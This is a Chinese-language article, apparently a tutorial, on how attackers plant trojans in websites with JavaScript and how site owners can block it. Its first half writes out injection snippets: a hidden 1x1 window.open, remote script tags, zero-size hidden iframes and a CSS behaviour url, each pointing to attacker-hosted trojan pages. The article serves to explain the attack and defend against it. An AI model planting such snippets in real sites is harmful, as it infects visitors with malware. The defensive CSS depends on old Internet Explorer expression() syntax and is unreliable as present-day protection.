在最多見(jiàn)的JS掛馬方法有兩種,一種是直接將JavaScript腳本代碼寫在網(wǎng)頁(yè)中,當(dāng)訪問(wèn)者在瀏覽網(wǎng)頁(yè)時(shí),惡意的掛馬腳本就會(huì)通過(guò)用戶的瀏覽器悄悄地打開網(wǎng)馬窗口,隱藏地運(yùn)行。 這種方法使用的關(guān)鍵代碼如下: window.open("http://www.chndianai.com/木馬.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1"); 這種代碼往往很長(zhǎng),很容易被安全工程師發(fā)現(xiàn),而且沒(méi)有經(jīng)驗(yàn)的黑客也喜歡將“width”和“height=”參數(shù)設(shè)為“0”,但是設(shè)置為0后,可能會(huì)出現(xiàn)惡意代碼不運(yùn)行的情況。 另外一種JS掛馬方式是,黑客先將掛馬腳本代碼“document.write('<Iframe src="網(wǎng)頁(yè)木馬地址" ></iframe>')”,寫入Windows中的寫字板另存為后綴為.js的腳本文件,并上傳到自己指定的網(wǎng)址。這時(shí)黑客只需要在受害者的網(wǎng)站中寫入: <script src="http://www.chndianai.com/木馬腳本.js"></script> 或者 document.write("<div style='display:none'>") document.write("<iframe src="網(wǎng)頁(yè)木馬地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>") document.write("</div>") 就成功地將木馬掛到了對(duì)方的網(wǎng)頁(yè)中了。 小提示:黑客還可以根據(jù)情況隨機(jī)變換插入的JS掛馬方法,例如黑客有可能會(huì)將腳本寫為: <div style="behaviour: url(http://www.hacker.com/木馬腳本.js);"> 或者: <iframe src="vbscript:[掛馬腳本]"> 等等…… 防第一種JS掛馬方式,不方便,用得非常少,而第二種JS掛馬方式才是當(dāng)前主流的,所以我們主要針對(duì)它進(jìn)行防御。方法就是阻止Src請(qǐng)求的異地外域的JS腳本,代碼如下: iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');} script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木馬被成功隔離!'):'');} 不過(guò)這種方法的缺點(diǎn)就是網(wǎng)站的訪問(wèn)者將不能看到被掛了JS木馬的相關(guān)網(wǎng)頁(yè)。 所以我們?yōu)榘踩こ處熖峁┝艘欢慰梢灾兄笿S腳本運(yùn)行的CSS代碼,這段代碼會(huì)讓異地外域的JS文件在使用document.write()時(shí),被document.close()強(qiáng)制關(guān)閉。這個(gè)時(shí)侯JS掛馬的內(nèi)容往往還沒(méi)有來(lái)得及寫完,只有部分被強(qiáng)制輸出了,Writer后面的內(nèi)容再不會(huì)被寫入訪問(wèn)者的電腦中,從而起到防范JS腳本掛馬的作用。 讓JS木馬的進(jìn)程迅速中止 在 <head> </head> 之間加入如下代碼: 屏蔽script和iframe <style type="text/css" id="LinrStudio"> /*<![CDATA[*/ iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');} script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');} /*]]>*/ </style> 單屏蔽script <style type="text/css" id="LinrStudio"> /*<![CDATA[*/ /*iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}*/ script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');} /*]]>*/ </style>
|